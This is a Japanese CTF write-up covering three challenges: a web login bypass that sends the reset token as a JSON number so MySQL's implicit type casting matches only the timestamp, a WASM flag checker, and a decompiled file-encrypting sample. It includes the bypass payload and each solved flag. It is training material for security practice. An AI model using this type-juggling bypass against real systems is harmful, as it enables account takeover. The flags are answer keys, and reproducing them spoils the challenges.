この関数にはそもそもパスワードリセット機能が未実装で、ユーザー名とトークンが正しければそのユーザーのセッションを得られるようになっている。
adminユーザーになるにはdb.validateResetTokenByUsername(username, token)
の結果をtrueにできるような入力ができればいい。
validateResetTokenByUsernameは以下の通り。
async validateResetTokenByUsername(
username: string,
token: string
): Promise<boolean> {
await this.initialized;
const [rows] = (await this.pool.execute(
"SELECT COUNT(*) as count FROM users WHERE username = ? AND reset_token = ?",
[username, token]
)) as [any[], mysql.FieldPacket[]];
return rows[0].count > 0;
}
SQL文を突破できるtokenを考える。tokenの形式はgenerateResetTokenに書かれている。
async generateResetToken(userid: number): Promise<string> {
await this.initialized;
const timestamp = Math.floor(Date.now() / 1000);
const token = `${timestamp}_${uuidv4()}`;
await this.pool.execute(
"UPDATE users SET reset_token = ? WHERE userid = ?",
[token, userid]
);
return token;
}
timestampは一致させられるが、uuidv4を一致させることは不可能だ。しかし間違いなくSQLに問題があるはず。
SQLの仕様について調べながら同時にChatGPTとGeminiにSQLの欠陥を問い詰めていたところ、遂にGemini Proさんが答えを見つけた。
tokenのデータはJSON形式内で文字列としてサーバーに送られているが、これを数値として送ることで数値同士の比較を強要させてuuid部分を無視することができる。
よって、adminのReset Tokenを実行して、実行時間のtimestampをtokenとして/api/reset-passwordにPOSTする。tokenの数字は文字列を外して数値にする。例えば次のようになる。
{"username":"admin","token":1753550574,"newPassword":"test2"}
これでadminセッションを獲得できる。
ctf4b{y0u_c4n_byp455_my5q1_imp1ici7_7yp3_c457}
フラグをチェックしてくれるプログラム
Web問の息抜きにやったWASM問。
check_flag.wat(module
(memory (export "memory") 1 )
(func (export "check_flag") (result i32)
i32.const 0x7b
i32.const 38
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x67
i32.const 20
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x5f
i32.const 46
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x21
i32.const 3
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x63
i32.const 18
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x6e
i32.const 119
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x5f
i32.const 51
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x79
i32.const 59
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x34
i32.const 9
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x57
i32.const 4
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x35
i32.const 37
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x33
i32.const 12
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x62
i32.const 111
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x63
i32.const 45
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x7d
i32.const 97
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x30
i32.const 54
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x74
i32.const 112
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x31
i32.const 106
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x66
i32.const 43
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x34
i32.const 17
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x34
i32.const 98
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x54
i32.const 120
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x5f
i32.const 25
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x6c
i32.const 127
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x41
i32.const 26
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 1
return
)
(func $stir (param $x i32) (result i32)
i32.const 1024
i32.const 23
i32.const 37
local.get $x
i32.const 0x5a5a
i32.xor
i32.mul
i32.add
i32.const 101
i32.rem_u
i32.add
return
)
)
check_flagの16進数がASCIIコードなのでflag文字列だろう。メモリー上のflag文字列を比べている。比較するポジションをstirで計算していると思われるので、何故かJavaScriptで書き起こした。
function stir(seed) {
reg = 0x5a5a;
reg ^= seed;
reg *= 37;
reg += 23;
reg %= 101;
reg += 1024;
return reg
}
stackを積んで演算していくのでこのようになる。
何故かJavaScriptでソルバーを書いた。
datas = [[123,38],[103,20],[95,46],[33,3],[99,18],[110,119],[95,51],[121,59],[52,9],[87,4],[53,37],[51,12],[98,111],[99,45],[125,97],[48,54],[116,112],[49,106],[102,43],[52,17],[52,98],[84,120],[95,25],[108,127],[65,26]];
function stir(seed) {
reg = 0x5a5a;
reg ^= seed;
reg *= 37;
reg += 23;
reg %= 101;
//reg += 1024;
return reg
}
res = new Array(40);
for(i=0;i<datas.length;i++) {
res[stir(datas[i][1])] = String.fromCharCode(datas[i][0]);
}
console.log(res.join(""));
ctf4b{WAT_4n_345y_l0g1c!}
flagが欲しいかい?ならこのマルウェアを解析してみな。
Wanna get flag? if so, Reversing this Malware if you can
ファイルを暗号化するMalwareAnalysis-FirstChallenge.exeとflag.encryptedが配布される。MalwareAnalysis-FirstChallenge.exeをGhidraで逆コンパイルして暗号処理部分を探す。
void FUN_1400011a0(void)
{
uint uVar1;
code *pcVar2;
longlong lVar3;
BOOL BVar4;
DWORD nNumberOfBytesToRead;
HANDLE hFile;
HANDLE hFile_00;
void *pvVar5;
longlong lVar6;
BYTE *pbData;
BYTE *_Memory;
ulonglong _Size;
longlong lVar7;
BYTE *pBVar8;
undefined auStackY_b8 [32];
HCRYPTKEY local_78;
HCRYPTPROV local_70;
undefined4 local_68;
undefined4 local_64;
DWORD local_60;
DWORD local_5c;
HCRYPTHASH local_58;
undefined4 local_50;
undefined4 uStack_4c;
undefined4 uStack_48;
undefined4 uStack_44;
undefined4 local_40;
ulonglong local_38;
local_38 = DAT_140005000 ^ (ulonglong)auStackY_b8;
pbData = (BYTE *)0x0;
hFile = CreateFileA("flag.txt",0x80000000,1,(LPSECURITY_ATTRIBUTES)0x0,3,0x80,(HANDLE)0x0);
if (hFile == (HANDLE)0xffffffffffffffff) {
puts("Failed to handle flag.txt\n");
}
else {
hFile_00 = CreateFileA("flag.encrypted",0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,
(HANDLE)0x0);
if (hFile_00 == (HANDLE)0xffffffffffffffff) {
puts("Failed to handle flag.encrypted\n");
goto LAB_140001637;
}
BVar4 = CryptAcquireContextW
(&local_70,(LPCWSTR)0x0,
L"Microsoft Enhanced RSA and AES Cryptographic Provider",0x18,0);
if ((BVar4 == 0) &&
(BVar4 = CryptAcquireContextW
(&local_70,(LPCWSTR)0x0,
L"Microsoft Enhanced RSA and AES Cryptographic Provider",0x18,8),
BVar4 == 0)) {
puts("CryptAcquireContext() Error\n");
goto LAB_140001637;
}
BVar4 = CryptCreateHash(local_70,0x800c,0,0,&local_58);
if (BVar4 == 0) {
puts("CryptCreateHash() Error\n");
goto LAB_140001637;
}
local_40 = 0x79654b;
local_50._0_1_ = 'T';
local_50._1_1_ = 'h';
local_50._2_1_ = 'i';
local_50._3_1_ = 's';
uStack_4c._0_1_ = 'I';
uStack_4c._1_1_ = 's';
uStack_4c._2_1_ = 'T';
uStack_4c._3_1_ = 'h';
uStack_48._0_1_ = 'e';
uStack_48._1_1_ = 'E';
uStack_48._2_1_ = 'n';
uStack_48._3_1_ = 'c';
uStack_44._0_1_ = 'r';
uStack_44._1_1_ = 'y';
uStack_44._2_1_ = 'p';
uStack_44._3_1_ = 't';
lVar6 = -1;
do {
lVar7 = lVar6 + 1;
lVar3 = lVar6 + 1;
lVar6 = lVar7;
} while (*(char *)((longlong)&local_50 + lVar3) != '\0');
BVar4 = CryptHashData(local_58,(BYTE *)&local_50,(DWORD)lVar7,0);
if (BVar4 == 0) {
puts("CryptHashData() Error\n");
goto LAB_140001637;
}
BVar4 = CryptDeriveKey(local_70,0x6610,local_58,0x1000000,&local_78);
if (BVar4 == 0) {
puts("CryptDeriveKey() Error\n");
goto LAB_140001637;
}
local_68 = 1;
BVar4 = CryptSetKeyParam(local_78,3,(BYTE *)&local_68,0);
if (BVar4 == 0) {
puts("CryptSeKeyParam() Error\n");
goto LAB_140001637;
}
BVar4 = CryptSetKeyParam(local_78,1,(BYTE *)L"IVCanObfuscation",0);
if (BVar4 == 0) {
puts("CryptSeKeyParam() with IV Error\n");
goto LAB_140001637;
}
local_64 = 1;
BVar4 = CryptSetKeyParam(local_78,4,(BYTE *)&local_64,0);
if (BVar4 == 0) {
puts("CryptSetKeyParam() with set MODE Error\n");
goto LAB_140001637;
}
nNumberOfBytesToRead = GetFileSize(hFile,(LPDWORD)0x0);
uVar1 = nNumberOfBytesToRead + 0x10;
_Size = (ulonglong)uVar1;
pBVar8 = pbData;
if (uVar1 != 0) {
if (_Size < 0x1000) {
pbData = (BYTE *)operator_new(_Size);
}
else {
if ((ulonglong)uVar1 + 0x27 <= _Size) {
FUN_140001100();
pcVar2 = (code *)swi(3);
(*pcVar2)();
return;
}
pvVar5 = operator_new((ulonglong)uVar1 + 0x27);
if (pvVar5 == (void *)0x0) goto LAB_140001653;
pbData = (BYTE *)((longlong)pvVar5 + 0x27U & 0xffffffffffffffe0);
*(void **)(pbData + -8) = pvVar5;
}
pBVar8 = pbData + _Size;
memset(pbData,0,_Size);
}
local_60 = 0;
BVar4 = ReadFile(hFile,pbData,nNumberOfBytesToRead,&local_60,(LPOVERLAPPED)0x0);
if (BVar4 == 0) {
puts("ReadFile() Error\n");
}
else {
lVar6 = -1;
do {
lVar6 = lVar6 + 1;
} while (pbData[lVar6] != '\0');
local_5c = (int)lVar6 + 1;
BVar4 = CryptEncrypt(local_78,0,1,0,pbData,&local_5c,0x40);
if (BVar4 == 0) {
puts("CryptEncrypt() Error\n");
}
else {
BVar4 = WriteFile(hFile_00,pbData,0x40,(LPDWORD)0x0,(LPOVERLAPPED)0x0);
if (BVar4 == 0) {
puts("WriteFile() error\n");
}
else {
CloseHandle(hFile);
CloseHandle(hFile_00);
BVar4 = DeleteFileA("flag.txt");
if (BVar4 == 0) {
puts("DeleteFileA() error\n");
}
else {
BVar4 = CryptDestroyKey(local_78);
if (BVar4 == 0) {
puts("CryptDestroyKey() error\n");
}
else {
BVar4 = CryptDestroyHash(local_58);
if (BVar4 == 0) {
puts("CryptDestroyHash() error\n");
}
else {
BVar4 = CryptReleaseContext(local_70,0);
if (BVar4 == 0) {
puts("CryptReleaseContext() error\n");
}
}
}
}
}
}
}
if (pbData != (BYTE *)0x0) {
_Memory = pbData;
if ((0xfff < (ulonglong)((longlong)pBVar8 - (longlong)pbData)) &&
(_Memory = *(BYTE **)(pbData + -8), (BYTE *)0x1f < pbData + (-8 - (longlong)_Memory))) {
LAB_140001653:
/* WARNING: Subroutine does not return */
_invoke_watson((wchar_t *)0x0,(wchar_t *)0x0,(wchar_t *)0x0,0,0);
}
free(_Memory);
}
}
LAB_140001637:
FUN_140001680(local_38 ^ (ulonglong)auStackY_b8);
return;
}
AES暗号を実行しているわかりやすい実装になっている。この時点でほぼ終了。暗号鍵と初期ベクトルらしき文字列も見えるが、一癖あるように見えるのでChatGPTにこのコードを調べさせた。
鍵の末尾のKeyが抜けている点だけは間違いだが、SHA256を使う点とIVがワイド文字列になっていることを見抜いてくれたので上出来だ。
CyberChefで調理できる。
ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!}